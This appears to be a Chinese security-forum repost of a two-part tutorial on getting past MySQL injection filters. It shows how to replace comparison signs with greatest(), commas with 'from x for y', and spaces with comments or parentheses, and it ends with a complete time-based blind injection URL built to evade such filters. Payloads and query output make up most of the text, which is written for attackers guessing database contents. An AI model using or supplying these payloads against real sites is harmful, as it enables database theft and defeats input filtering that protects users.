标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-67] 作者: 闲云野鸡 发表于: [2017-07-16] [2017-07-16]被用户:jiwozck 修改过
本文共 [586] 位读者顶过
SQL注射的绕过技巧较多,此文仅做一些简单的总结。
前文已经提到,最好利用的注射点:[出自:jiwo.org] 支持Union 可报错 支持多行执行、可执行系统命令、可HTTP Request等额外有利条件 若非以上类型,则可能需要暴力猜解。猜解时,可能会遇到一些限制。攻击者要做的,就是将其个个击破。 1. 通过greatest函数绕过不能使用大小于符号的情况 猜解单个字符时,通常使用折半查找。 mysql> select ascii(mid(user(),1,1)) < 150; +------------------------------+ | ascii(mid(user(),1,1)) < 150 | +------------------------------+ | 1 | +------------------------------+ 1 2 3 4 5 6 mysql> select ascii(mid(user(),1,1)) < 150; +------------------------------+ | ascii(mid(user(),1,1)) < 150 | +------------------------------+ | 1 | +------------------------------+ 以上是判断user()第一个字符的ascii码是否小于150. 若小于150,返回true(1),否则返回false(0)。 可以看到,需要使用到大小于符号。 比如,对于一个boolean based注入。尝试: http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) < 150 http://xxx.com/index.php?id=1 and ascii(mid(user(),1,1)) >= 150 上述两个页面返回的内容应该是不同的。 但问题是,有些情形下,我们是不能使用大小于符号的(<>),被过滤了。 此时,可以通过greatest函数绕过。greatest(a,b),返回a和b中较大的那个数。 当我们要猜解user()第一个字符的ascii码是否小于等于150时,可使用: mysql> select greatest(ascii(mid(user(),1,1)),150)=150; +------------------------------------------+ | greatest(ascii(mid(user(),1,1)),150)=150 | +------------------------------------------+ | 1 | +------------------------------------------+ 1 2 3 4 5 6 mysql> select greatest(ascii(mid(user(),1,1)),150)=150; +------------------------------------------+ | greatest(ascii(mid(user(),1,1)),150)=150 | +------------------------------------------+ | 1 | +------------------------------------------+ 如果小于150,则上述返回值为True。 2. 通过substr函数绕过不能使用逗号的情况 不能使用逗号的情况较少,往往是因为逗号有某些特殊的作用,被单独处理了。 通常,猜解都是要用到逗号的,因为需要mid函数取字符呐: ascii(mid(user(),1,1))=150 1 ascii(mid(user(),1,1))=150 绕过的方法是使用from x for y。语法类似: mid(user() from 1 for 1) 或 substr(user() from 1 for 1) 1 2 3 mid(user() from 1 for 1) 或 substr(user() from 1 for 1) 以上同样是从第一个字符开始,取一位字符。 那么,不带逗号注入的语法,就可以变成: mysql> select ascii(substr(user() from 1 for 1)) < 150; +------------------------------------------+ | ascii(substr(user() from 1 for 1)) < 150 | +------------------------------------------+ | 1 | +------------------------------------------+ 1 2 3 4 5 6 mysql> select ascii(substr(user() from 1 for 1)) < 150; +------------------------------------------+ | ascii(substr(user() from 1 for 1)) < 150 | +------------------------------------------+ | 1 | +------------------------------------------+ 是不是跟mid函数的效果是一样的,又没有用到逗号。 ================================================================================================= MySQL注射的过滤绕过技巧[2] By lijiejie on 2014 年 10 月 16 日 | 浏览 1,200 次 前文介绍了MySQL注射绕过大小于符号,绕过逗号的一点小技巧。 本篇继续介绍在空格被过滤的情况下如何注入。 SQL注入时,空格的使用是非常普遍的。比如,我们使用union来取得目标数据: http://www.xxx.com/index.php?id=1 and 0 union select null,null,null 上面的语句,在and两侧、union两侧、select的两侧,都需要空格。 1. 注释绕过空格 这是最基本的方法,在一些自动化SQL注射工具中,使用也十分普遍。在MySQL中,用 /*注释*/ 来标记注释的内容。比如SQL查询: select user() from dual 我们用注释替换空格,就可以变成: select/**/user()/**/from/**/dual 如下图,SQL命令能够正确执行: MySQLi_without_blanks 2. 括号绕过空格 空格被过滤,但括号没有被过滤,可通过括号绕过。 我的经验是,在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。 括号绕过空格的方法,在time based盲注中,是屡试不爽的。 举例说明,我们有这样的一条SQL查询: select user() from dual where 1=1 and 2=2 如何把空格减到最少? 观察到user()可以算值,那么user()两边要加括号,变成: select(user())from dual where 1=1 and 2=2; 继续,1=1和2=2可以算值,也加括号,去空格,变成: select(user())from dual where(1=1)and(2=2) dual两边的空格,通常是由程序员自己添加,我们一般无法控制。所以上面就是空格最少的结果。 MySQLi_without_blanks_2 这也是非常实用的一个技巧。 这两篇介绍了一些基础的内容,用我常用的一条time based盲注语句做个总结: http://www.xxx.com/index.php?id=(sleep(ascii(mid(user()from(2)for(1)))=109)) 这条语句是猜解user()第二个字符的ascii码是不是109,若是109,则页面加载将延迟。它: 1) 既没有用到逗号、大小于符号 2) 也没有使用空格 却可以完成数据的猜解工作! |